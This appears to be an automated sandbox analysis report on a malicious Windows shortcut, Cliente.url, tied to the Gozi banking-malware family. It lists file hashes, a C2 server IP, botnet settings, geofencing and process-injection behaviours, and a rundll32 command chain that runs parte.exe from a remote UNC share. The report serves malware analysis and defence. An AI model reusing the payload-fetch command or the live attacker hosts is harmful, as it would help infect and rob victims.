Analysis
-
max time kernel
146s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
10-10-2023 12:19
Static task
static1
Behavioral task
behavioral1
Sample
Cliente.url
Resource
win7-20230831-en
windows7-x64
1 signatures
150 seconds
General
-
Target
Cliente.url
-
Size
191B
-
MD5
3fca98849887f4640255b50f69ee9206
-
SHA1
d560638acf8911800b080809c1c5dee4eb2b9d9d
-
SHA256
420c6c6ee2d0fb0c3797a919419fda32987ce9e58d0c121e278856d9e0615ce1
-
SHA512
3e979b15552ebf16e2e4e7a061cf7bf8eab8d681cbc263af0d62b3752ff6a6743c3c9b7913f9caa7c4a6cc64ad84d7b250a39bd3507c40af8b86c2239e18bd8f
Malware Config
Extracted
Family
gozi
Extracted
Family
gozi
Botnet
5050
C2
193.203.162.14
Attributes
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
rsa_pubkey.plain
aes.plain
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
rundll32.exedescription pid process target process PID 2944 wrote to memory of 4604 2944 rundll32.exe parte.exe PID 2944 wrote to memory of 4604 2944 rundll32.exe parte.exe PID 2944 wrote to memory of 4604 2944 rundll32.exe parte.exe
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Cliente.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
\??\UNC\62.173.146.71\scarica\parte.exe"\\62.173.146.71\scarica\parte.exe"2⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/4604-1-0x0000000002460000-0x0000000002560000-memory.dmpFilesize
1024KB
-
memory/4604-2-0x0000000002430000-0x000000000243B000-memory.dmpFilesize
44KB
-
memory/4604-3-0x0000000000400000-0x0000000002287000-memory.dmpFilesize
30.5MB
-
memory/4604-4-0x0000000002450000-0x000000000245D000-memory.dmpFilesize
52KB
-
memory/4604-7-0x0000000000400000-0x0000000002287000-memory.dmpFilesize
30.5MB
-
memory/4604-8-0x0000000002460000-0x0000000002560000-memory.dmpFilesize
1024KB
-
memory/4604-9-0x0000000002430000-0x000000000243B000-memory.dmpFilesize
44KB